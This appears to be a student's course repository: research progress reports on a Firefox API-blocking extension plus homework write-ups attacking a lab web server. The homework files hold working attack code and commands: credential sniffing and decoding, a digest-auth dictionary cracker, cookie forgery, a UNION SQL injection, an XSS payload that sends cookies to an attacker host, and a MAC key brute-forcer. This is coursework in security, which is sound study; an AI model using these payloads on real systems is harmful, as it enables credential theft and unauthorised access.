libasound2-dev \
libcurl4-openssl-dev \
libdbus-1-dev \
libdbus-glib-1-dev \
libgtk2.0-dev \
libiw-dev \
libnotify-dev \
libxt-dev \
mesa-common-dev \
uuid-dev \
binutils-gold \
bash-completion \
curl \
emacs \
git \
man-db \
python-dev \
python-pip \
vim
RUN pip install mercurial
RUN useradd -m firefox
RUN hg clone https://hg.mozilla.org/mozilla-central

26
firefox/report1.txt Normal file
View file

@ -0,0 +1,26 @@
In this project, we're exploring how the browser Firefox handles attacks against
its APIs and how a certain extension developed by the researchers could be used
to deny access to JavaScript APIs that regular websites shouldn't always need
access to. During our last meeting, we discussed that some of the action steps
for this project will involve trying to identify vulnerabilities in the
extension itself as well as any possible API-blocking customizations that could
be implemented directly into Firefox itself (for example, seeing if the script
that is requesting access was part of the website itself or was part of a
third-party script that was loaded to the user's oblivion.
Since that day, I have cloned the Firefox source code and began compilation on
my personal computer, which is running a slightly modified Ubuntu environment
called Elementary OS.
I've also downloaded the version of Firefox that the researchers specified and
began investigating into some of the techniques used into blocking access to the
APIs. The extension uses an eval statement to load the proxy that it's using
into the page, then switching all of the APIs into the proxy code that does
nothing before any page scripts start loading. (I'm going to investigate whether
the browser mandates that add-on scripts must be loaded into the page before
page scripts are loaded or not, and see if that kind of race condition could
cause a hole in this extension.) I did some prodding around the JavaScript Proxy
object to see if there is any way to retrieve the original object that was
replaced, but I think it's impossible, so I'm going to try to attack some other
vectors that the researchers may have not considered yet (for example trying to
load my page script first).

1
ha2/.gitignore vendored Normal file
View file

@ -0,0 +1 @@
.vscode

46
ha2/1/dump.txt Normal file
View file

@ -0,0 +1,46 @@
student@xenial64s:~$ sudo tcpdump -i ens4 -Av 'host 192.168.16.1'
tcpdump: listening on ens4, link-type EN10MB (Ethernet), capture size 262144 bytes
15:23:18.220531 IP (tos 0x0, ttl 64, id 54084, offset 0, flags [DF], proto TCP (6), length 60)
192.168.16.2.39824 > 192.168.16.1.http: Flags [S], cksum 0x60a8 (correct), seq 106577394, win 29200, options [mss 1460,sackOK,TS val 84995766 ecr 0,nop,wscale 7], length 0
E..<.D@.@..#...........P.Z=.......r.`..........
............
15:23:18.221128 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
192.168.16.1.http > 192.168.16.2.39824: Flags [S.], cksum 0x024c (correct), seq 3214103152, ack 106577395, win 28960, options [mss 1460,sackOK,TS val 85018662 ecr 84995766,nop,wscale 7], length 0
E..<..@.@..h.........P....Rp.Z=...q .L.........
..H&........
15:23:18.221200 IP (tos 0x0, ttl 64, id 54085, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.2.39824 > 192.168.16.1.http: Flags [.], cksum 0xa152 (correct), ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 0
E..4.E@.@..*...........P.Z=...Rq.....R.....
......H&
15:23:18.221201 IP (tos 0x0, ttl 64, id 54086, offset 0, flags [DF], proto TCP (6), length 84)
192.168.16.2.39824 > 192.168.16.1.http: Flags [P.], cksum 0xd58b (correct), seq 1:33, ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 32: HTTP, length: 32
HEAD /secret/file.php HTTP/1.0
E..T.F@.@.. ...........P.Z=...Rq...........
......H&HEAD /secret/file.php HTTP/1.0
15:23:18.221709 IP (tos 0x0, ttl 64, id 6743, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.1.http > 192.168.16.2.39824: Flags [.], cksum 0xa134 (correct), ack 33, win 227, options [nop,nop,TS val 85018662 ecr 84995767], length 0
E..4.W@.@............P....Rq.Z>......4.....
..H&....
15:23:18.221737 IP (tos 0x0, ttl 64, id 54087, offset 0, flags [DF], proto TCP (6), length 165)
192.168.16.2.39824 > 192.168.16.1.http: Flags [P.], cksum 0x74f4 (correct), seq 33:146, ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 113: HTTP
E....G@.@..............P.Z>...Rq....t......
......H&Host: 192.168.16.1
Connection: close
Accept-language: en
Authorization: Basic c2VvaDE2OmdlaGVpbW5pczYxOTg=
15:23:18.222146 IP (tos 0x0, ttl 64, id 6744, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.1.http > 192.168.16.2.39824: Flags [.], cksum 0xa0c3 (correct), ack 146, win 227, options [nop,nop,TS val 85018662 ecr 84995767], length 0
E..4.X@.@............P....Rq.Z>............
..H&....
^C
7 packets captured
12 packets received by filter
5 packets dropped by kernel
Base64-decoded version of "c2VvaDE2OmdlaGVpbW5pczYxOTg=" is "seoh16:geheimnis6198"
Username: seoh16
Password: geheimnis6198

3
ha2/1/file.txt Normal file
View file

@ -0,0 +1,3 @@
student@xenial64s:~$ curl http://192.168.16.1/secret/file.php -H "Authorization: Basic c2VvaDE2OmdlaGVpbW5pczYxOTg="
"The common question that gets asked in business is, why? Thats a good question, but an equally valid question is, why not?" Jeff Bezos

21
ha2/2/crack2.py Normal file
View file

@ -0,0 +1,21 @@
import md5
username="seoh16"
realm="Cheese"
nonce="2kiHAWxdBQA=117175983f2816893c1e24a382fbe93188ae5b4f"
uri="/secret/cheese.php"
cnonce="MDIzY2VhMzk1MjVkNDU5MGVjMTEyYWRmNzJhMzkwZDc="
nc="00000001"
qop="auth"
response="40ce378475bc8a64d33a19902b757b85"
ha2 = md5.new("HEAD:"+uri)
f = open("usr/share/dict/words").read().split()
for word in f:
ha1 = md5.new()
ha1.update(username+":"+realm+":"+word)
result = md5.new()
result.update(ha1.hexdigest()+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+ha2.hexdigest())
if result.hexdigest() == response:
print word
break

84
ha2/2/dump2.txt Normal file
View file

@ -0,0 +1,84 @@
student@xenial64s:~$ sudo tcpdump -i ens4 -Av 'host 192.168.16.1'
tcpdump: listening on ens4, link-type EN10MB (Ethernet), capture size 262144 bytes
15:26:32.698914 IP (tos 0x0, ttl 64, id 31355, offset 0, flags [DF], proto TCP (6), length 60)
192.168.16.2.39826 > 192.168.16.1.http: Flags [S], cksum 0xda62 (correct), seq 902420185, win 29200, options [mss 1460,sackOK,TS val 85044386 ecr 0,nop,wscale 7], length 0
E..<z{@.@..............P5.........r..b.........
............
15:26:32.699188 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
192.168.16.1.http > 192.168.16.2.39826: Flags [S.], cksum 0x9cf2 (correct), seq 3989652829, ack 902420186, win 28960, options [mss 1460,sackOK,TS val 85067282 ecr 85044386,nop,wscale 7], length 0
E..<..@.@..h.........P....E]5.....q ...........
............
15:26:32.699831 IP (tos 0x0, ttl 64, id 31356, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x3bf9 (correct), ack 1, win 229, options [nop,nop,TS val 85044387 ecr 85067282], length 0
E..4z|@.@..............P5.....E^....;......
........
15:26:32.700913 IP (tos 0x0, ttl 64, id 31357, offset 0, flags [DF], proto TCP (6), length 146)
192.168.16.2.39826 > 192.168.16.1.http: Flags [P.], cksum 0x98e7 (correct), seq 1:95, ack 1, win 229, options [nop,nop,TS val 85044387 ecr 85067282], length 94: HTTP, length: 94
HEAD /secret/cheese.php HTTP/1.1
Host: 192.168.16.1
User-Agent: curl/7.47.0
Accept: */*
E...z}@.@..............P5.....E^...........
........HEAD /secret/cheese.php HTTP/1.1
Host: 192.168.16.1
User-Agent: curl/7.47.0
Accept: */*
15:26:32.701336 IP (tos 0x0, ttl 64, id 17228, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.1.http > 192.168.16.2.39826: Flags [.], cksum 0x3b9d (correct), ack 95, win 227, options [nop,nop,TS val 85067282 ecr 85044387], length 0
E..4CL@.@.V$.........P....E^5..8....;......
........
15:26:32.701752 IP (tos 0x0, ttl 64, id 17229, offset 0, flags [DF], proto TCP (6), length 360)
192.168.16.1.http > 192.168.16.2.39826: Flags [P.], cksum 0x58ff (correct), seq 1:309, ack 95, win 227, options [nop,nop,TS val 85067282 ecr 85044387], length 308: HTTP, length: 308
HTTP/1.1 401 Unauthorized
Date: Tue, 14 Nov 2017 21:26:32 GMT
Server: Apache/2.4.18 (Ubuntu)
WWW-Authenticate: Digest realm="Cheese", nonce="DLN7CvhdBQA=632d10cb5e45f339837ff3923a77459fbb1e4ced", algorithm=MD5, domain="http://localhost/secret/", qop="auth"
Content-Type: text/html; charset=iso-8859-1
E..hCM@.@.T..........P....E^5..8....X......
........HTTP/1.1 401 Unauthorized
Date: Tue, 14 Nov 2017 21:26:32 GMT
Server: Apache/2.4.18 (Ubuntu)
WWW-Authenticate: Digest realm="Cheese", nonce="DLN7CvhdBQA=632d10cb5e45f339837ff3923a77459fbb1e4ced", algorithm=MD5, domain="http://localhost/secret/", qop="auth"
Content-Type: text/html; charset=iso-8859-1
15:26:32.702537 IP (tos 0x0, ttl 64, id 31358, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x3a5f (correct), ack 309, win 237, options [nop,nop,TS val 85044387 ecr 85067282], length 0
E..4z~@.@..............P5..8..F.....:_.....
........
15:26:32.704483 IP (tos 0x0, ttl 64, id 17230, offset 0, flags [DF], proto TCP (6), length 323)
192.168.16.1.http > 192.168.16.2.39826: Flags [P.], cksum 0x40d2 (correct), seq 309:580, ack 474, win 235, options [nop,nop,TS val 85067283 ecr 85044388], length 271: HTTP, length: 271
HTTP/1.1 200 OK
Date: Tue, 14 Nov 2017 21:26:32 GMT
Server: Apache/2.4.18 (Ubuntu)
Authentication-Info: rspauth="1f407e49d01115b32ac04c4c4e5fff55", cnonce="MjkxNThiMGE2NjZkMTUzMzk2ZjY4NTkwODgwNmJlMDc=", nc=00000001, qop=auth
Content-Type: text/html; charset=UTF-8
E..CCN@.@.U..........P....F.5.......@......
........HTTP/1.1 200 OK
Date: Tue, 14 Nov 2017 21:26:32 GMT
Server: Apache/2.4.18 (Ubuntu)
Authentication-Info: rspauth="1f407e49d01115b32ac04c4c4e5fff55", cnonce="MjkxNThiMGE2NjZkMTUzMzk2ZjY4NTkwODgwNmJlMDc=", nc=00000001, qop=auth
Content-Type: text/html; charset=UTF-8
15:26:32.705142 IP (tos 0x0, ttl 64, id 31360, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.2.39826 > 192.168.16.1.http: Flags [F.], cksum 0x37ca (correct), seq 474, ack 580, win 245, options [nop,nop,TS val 85044388 ecr 85067283], length 0
E..4z.@.@..............P5.....G.....7......
........
15:26:32.705626 IP (tos 0x0, ttl 64, id 17231, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.1.http > 192.168.16.2.39826: Flags [F.], cksum 0x37d3 (correct), seq 580, ack 475, win 235, options [nop,nop,TS val 85067283 ecr 85044388], length 0
E..4CO@.@.V!.........P....G.5.......7......
........
15:26:32.706244 IP (tos 0x0, ttl 64, id 31361, offset 0, flags [DF], proto TCP (6), length 52)
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x37c9 (correct), ack 581, win 245, options [nop,nop,TS val 85044388 ecr 85067283], length 0
E..4z.@.@..............P5.....G.....7......
........
^C
11 packets captured
12 packets received by filter
1 packet dropped by kernel

2
ha2/3/cookie.txt Normal file
View file

@ -0,0 +1,2 @@
192.168.16.1 FALSE / FALSE 0 PHPSESSID a
192.168.16.1 FALSE / FALSE 0 loginAuth Stephen2017-10-30T17%3A39%3A23Z

22
ha2/3/readme.txt Normal file
View file

@ -0,0 +1,22 @@
After performing some registrations and logins using the system, I discovered
that the only basis on which the page determines if a user is logged in is using
the cookie "loginAuth". The cookie isn't signed so it's quite easy to forge a
fake cookie by substituting my own user for the user "Stephen".
Doing this through cURL produces:
student@xenial64s:~$ curl -k https://192.168.16.1/private/admin.php -H "Cookie: PHPSESSID=a; loginAuth=Stephen2017-10-30T17%3A39%3A23Z"
<!doctype html>
<head>
<title>Admin</title>
</head>
<body>
<p><strong>Welcome back, Stephen!</strong></p><p>You have <strong>5</strong> new messages.</p><ul>
<li><strong>Richard Stallman</strong> - Subj: Stuck on HA2 problem 3</li>
<li><strong>Patrick Bateman</strong> - Subj: Re: Did you return the textbook?</li>
<li><strong>Lil Wayne</strong> - Subj: Recommendation on papers?</li>
<li><strong>Se Eun Oh</strong> - Subj: Delay on grading HA2</li>
<li><strong>Jack Handey</strong> - Subj: Happy Thanksgiving!</li>
</ul><img src="../img/hacking.gif"></body> </html>

38
ha2/4/readme.txt Normal file
View file

@ -0,0 +1,38 @@
The SQL injection in this one was relatively trivial, since it seems that the
query used AND to limit the selection to only seoh's comments. If we ended the
query right there (by ending the ' and commenting out the rest of the string),
then we can get all the comments for this picture.
This was the first method that worked for me. Since this vulnerability is pretty
bad, there's a lot more ways to exploit it:
- Just query them all and LIMIT x, offset
- Use a UNION operation
- Use sqlmap, it could probably spawn a shell.
Interestingly enough, one of the answers seem to be hardcoded into the application.
Here's the output:
student@xenial64s:~$ curl -k https://192.168.16.1/thought.php -X POST --data "picture=' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--"
<!doctype html>
<head>
<title>Thoughts</title>
</head>
<body>
<img src='/img/' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--'><table border=1>
<tr><th>Username</th><th>Picture</th><th>Thought</th>
<tr><td>Awesome book</td><td>Awesome book</td><td>Awesome book</td></tr>
<tr><td>Great picture</td><td>Great picture</td><td>Great picture</td></tr>
</table>
<br><strong>seoh's thoughts on ' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--</strong>:<br><i>Great picture</i><br>
<br><form method="post">
<select id="picture" name="picture">
<option value="infinitejest.jpg">Infinite Jest</option>
<option value="glamorama.jpg">Glamorama</option>
</select>
<input type="submit" value="Fetch" />
</form>
<br><br>Lost? Home is <a href="/index.php">this</a> way.<br>
</body>
</html>

20
ha2/5/comment.html Normal file
View file

@ -0,0 +1,20 @@
student@xenial64s:~$ curl -k https://192.168.16.1/comment/comment.php?c_id=73
<!doctype html>
<head>
<title>Comment</title>
</head>
<body>
<strong>Comment</strong>: <script>location.href="http://192.168.16.3/?" + encodeURI(document.cookie);</script>
<br><br><br>Go <a href="/comment">back</a> to read the rest of the comments.<br>
Lost? Home is <a href="/index.php">this</a> way.
</body>
</html>

2
ha2/5/cookies.txt Normal file
View file

@ -0,0 +1,2 @@
auth=silva2806

33
ha2/5/readme.txt Normal file
View file

@ -0,0 +1,33 @@
The trick to this XSS attack is to make the user somehow load a page from our
attacker VM, and also pass along the cookie. In order to do this, I posted the
malicious comment onto the forum:
<script>location.href="http://192.168.16.3/?"+encodeURI(document.cookie);</script>
This would effectively make the client's browser redirect to my attacker VM,
using a path that contained the cookie. This was the most straightforward way I
could think of, but there could be other ways, such as attaching a hook onto a
body onload or possibly other event listeners (although I'm not sure if phantom
or whatever the client automation script supports those).
Using the link of an image wouldn't really work in this case because we want to
pass the client's cookie in. In a real XSS attack, one could use a site such as
https://requestb.in/ if they don't have a server ready for the user to request.
The next step was to prepare the server to listen. Nothing fancy:
student@xenial64s:~$ sudo nc -l 80
Since HTTP requests are in plain text anyway, this call would reveal the cookie
immediately. Sure enough, the request came in, with the cookie:
GET /?auth=silva2806 HTTP/1.1
Host: 192.168.16.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
The cookie is "auth=silva2806".

27
ha2/6/crack.py Normal file
View file

@ -0,0 +1,27 @@
import requests
import string
import sys
def gethash(uname):
r = requests.get("https://192.168.16.1/mac-cookie.php?username={}".format(uname), verify=False)
return r.text.strip().split("with the MAC ")[1].split(".")[0]
username = "olololololololololololololololo"[:19]
key = ""
for i in range(19, -1, -1):
userseg = username[:i]
keyseg = key[:(19 - i)]
basehash = gethash(userseg)
for c in string.printable:
cand = userseg + keyseg + c
if basehash == gethash(cand):
key += c
print "added '{}'".format(c)
break
else:
print "failed on i={}".format(i)
sys.exit(1)
print "key = '{}'".format(key)

12
ha2/6/readme.txt Normal file
View file

@ -0,0 +1,12 @@
For this challenge, I exposed the key character by character starting from the
end, using this method:
1. Start with a 19-character string.
2. Send this string to the server and get its hash.
3. Loop through chars 0-255, for the brute-force character. Compute (origstring + keysegment + newcharacter).
4. Take this computation and send it to the server and retrieve the hash.
5. There will be exactly 1 matching character. Add this to the key.
6. Shorten the string by 1 character, and the go back to step 2 until the string is empty.
By this method, each character is exposed 1 by 1. The key that I retrieved was
'GbbElypm0ztVpceOjVre'.

BIN
paper.pdf Normal file

Binary file not shown.

@ -0,0 +1 @@
Subproject commit d85df1815cd02b0d0776a5cd6cd669fcd549cab1

19
report2.txt Normal file
View file

@ -0,0 +1,19 @@
An important update happened to the extension we were observing, it expanded and
began using a larger JSON-based API for disabling web APIs. Our project team
decided to focus on extending the behavior of this extension.
Our group has decided to extend the web Audio API and look into what APIs need
to be blocked and compile a data file containing our findings. I've also noticed
that the extension has not deviated from their code-generating eval style, so
I'm currently looking at workarounds from using eval (creating a script tag and
inserting it into the DOM).
Additionally, when it comes to running on sites that have a very strict Content
Security Policy, they manually inject the sha-256 of the script into the header
before the script is injected into the page. However, doing a quick search on
this approach reveals that it's not completely reliable[1], and conflicting
extensions may cause the script to not be pardoned.
[1]: https://transitory.technology/browser-extensions-and-csp-headers

20
report3.txt Normal file
View file

@ -0,0 +1,20 @@
For this progress report, I've continued investigating the app, especially in
ways it could be circumvented. Through this investigation, I've learned a lot
about how Google Chrome extensions actually inject scripts into the page, as
well as security implications of doing so. In particular, I learned that content
scripts belonging to extensions are executed in a separate space from the page,
and so the only way they could possibly interact with the page is through
appending text-only attributes to the page when it loads.
I also patched the bug where window.open could be exploited to use the APIs of
another open window, by replacing that call with a Proxy object that calls the
blocking function on the returned window object. Elliott made the addition of
blocking all APIs recursively from there, something I overlooked. Here's a link
to my fork of the extension, including the Proxy patch developed by me and
Elliott:
https://github.com/iptq/web-api-manager
Finally, our group spent some time working on the paper, which Sam submitted a
first draft of tonight.